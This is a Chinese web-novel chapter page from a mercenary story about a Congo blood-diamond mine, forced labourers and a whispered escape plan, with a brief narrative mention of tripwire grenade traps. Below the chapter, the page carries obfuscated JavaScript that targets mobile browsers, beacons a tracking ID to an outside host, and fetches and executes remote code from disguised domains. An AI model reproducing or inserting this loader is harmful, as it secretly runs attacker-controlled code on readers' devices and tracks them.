悠悠书盟 > 都市小说 > 战争与玫瑰战争 > 第九章 血钻与童子军

第九章 血钻与童子军

上一章战争与玫瑰战争章节目录下一章
齐梓明背靠着矿区仓库粗糙的铁皮墙壁,缓缓滑坐到地上。扭伤的右脚踝已经肿成了发面馒头,皮肤紧绷呈紫红色,每一次脉搏的跳动都带来一阵尖锐的疼痛。他小心翼翼地将裤腿卷起,看到脚踝处皮肤下淤血蔓延,像一幅诡异的地图。

他咬咬牙,从随身的小包里翻出一卷还算干净的绷带——这是黑蛇训练时发的,没想到这么快就用上了。缠绕时,每一次触碰都让他倒吸冷气,冷汗顺着额角滑下,混着脸上的尘土,在皮肤上划出几道浅灰色的痕迹。

远处,翠鸟正用西班牙语和英语混杂的粗话指挥着防御工事的加固。十几个当地劳工在枪口下搬运沙袋,将昨晚被击毁的东侧塔楼废墟清理出一片射击视野。那些劳工的工资是一天两顿饭和少量的刚果法郎,但大多数人都知道,他们中的一部分永远拿不到最后的报酬——要么死于战斗,要么在任务结束后被“处理掉”,以节省开支。

更让齐梓明注意的是那些背着帆布包、正朝矿区外围丛林走去的“老兵”。他们走得悠闲,像是去郊游,但包里装的是死亡:pmn-2防步兵地雷、mon-50定向雷、还有各种用罐头盒、手榴弹和钢丝自制的诡雷。齐梓明曾见过一次诡雷演示:一根几乎看不见的绊线,连接着拉开保险销的手雷,手雷塞在空罐头里,罐头挂在齐腰高的树杈上。触发时,手雷从罐头中脱落,在空中爆炸,钢珠呈扇形散布,三十米内无人生还。

“这叫‘树雷’。”演示的俄罗斯老兵咧嘴笑,露出几颗金牙,“专打那些弯腰潜行的傻瓜。”

现在,这些“傻瓜”可能就是下一批来袭的敌人,也可能是误入雷区的平民,甚至可能是试图逃跑的自己人。在刚果,区分这些身份往往只在死后。

“来一根?”

声音从侧面传来,带着浓重的河南口音。齐梓明转头,看到郑国全蹲在他旁边,手里捏着半包皱巴巴的“金沙”香烟——这是夏国产的廉价烟,在非洲很多地方都能见到。

郑国全大约三十五六岁,比大多数“员工”年长不少。他脸颊瘦削,眼窝深陷,右眉骨上有一道陈年伤疤,让他的表情永远带着一丝愁苦。和其他人不同,郑国全没有编号,因为他不是“正式员工”,而是“附带劳工”——三年前,他跟随一家中国建筑公司来到刚果修路,项目因战争中断,公司撤离时,他和另外十几个工人被遗弃。skm公司“收留”了他们,代价是无限期的合同。

齐梓明犹豫了一下,接过烟。他其实不会抽,但在这种地方,拒绝别人的烟可能意味着拒绝一个潜在的盟友。郑国全用一次性打火机为他点上,火光短暂地照亮了两人的脸。

“脚崴了?”郑国全瞥了一眼他的绷带,“昨晚从塔楼上掉下来的就是你吧?”

齐梓明点点头,吸了一口烟,劣质烟草的辛辣味呛得他咳嗽起来。

“慢点,这烟劲儿大。”郑国全自己深吸一口,烟雾从他鼻孔缓缓飘出,“我以前也不抽,来了这儿就会了。有时候,就得有点东西麻痹一下神经。”

两人沉默地抽了一会儿烟。清晨的矿区渐渐苏醒,但气氛与往日不同。荷枪实弹的守卫增加了一倍,关键位置架起了重机枪。工棚区,那些真正的矿工——大多数是本地人,也有从周边国家骗来的劳工——被武装人员驱赶着走向矿坑。他们的眼神空洞,步伐机械,像一群走向屠宰场的牲畜。

“看到那些人了没?”郑国全用烟头指了指矿工队伍,“每天工作十四小时,饭都吃不饱。挖出来的石头,一颗就能换他们几百年的工钱。”

“钻石?”齐梓明低声问。

“还能是啥。”郑国全冷笑,“这鬼地方下面埋的都是血。”

郑国全告诉齐梓明,这个矿区是skm公司控制的三个钻石矿之一,也是最“肥”的一个。矿脉属于冲积型钻石,品质不高,但量大,容易开采。过去六个月,这里已经产出了至少五千克拉的粗钻。

“但这批货特别。”郑国全压低了声音,“听说挖到了一颗大的,可能超过五十克拉。纯度也不错。这种级别的石头,够买下一整个村庄的人命。”

按照惯例,矿石会在矿区进行初步筛选,剔除明显的废石,然后将可能含钻的矿石装车,运往两百公里外的一个“加工站”。在那里,石头会被敲碎、清洗、分拣,钻石被取出,通过秘密渠道运出刚果,进入国际黑市。

“翠鸟他们就是在等最后一批筛选。”郑国全说,“估计还得三四天。等货备齐了,咱们就得护送车队出发。那一路才是真正的鬼门关——政府军、叛军、其他雇佣兵公司,还有沿途的部族武装,谁都想来咬一口。”

齐梓明默默听着。他的目光落在远处矿坑边缘,那里堆着几具用塑料布草草覆盖的尸体,是昨晚战斗中死亡的守卫。苍蝇已经聚集,在塑料布上形成一片移动的黑斑。没有人去处理他们,也许要等到发臭才会被拖走掩埋。

“我观察过了。”郑国全的声音更低了,几乎变成耳语,“矿区东南角,铁丝网有个缺口,被野顶开的,还没补上。外面就是密林,如果能弄到一点干粮和水,趁夜摸出去……”

他停下,观察齐梓明的反应。

齐梓明没有立刻回答。他盯着自己缠着绷带的脚踝。逃跑?拖着这条腿,在夜间雨林中穿行?他想起那个卢旺达少年的骨架,空洞的眼窝。然后他又想起翠鸟的话:“雨林会吃掉你,连骨头都不吐。”

“就算出去了,又能去哪?”齐梓明终于开口,“我们没有证件,没有钱,连这是什么地方都不知道。”

“总比在这里等死强!”郑国全有些激动,但马上控制住情绪,警惕地看了看四周,“我家里还有老婆孩子,在河南老家。儿子七岁了,上次见他的时候他才四岁,现在估计都不认得我了……”

他的声音哽咽了,狠狠吸了口烟,把情绪压下去:“我不能死在这儿,死得不明不白。我得回去。”
上一章战争与玫瑰战争章节目录下一章
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};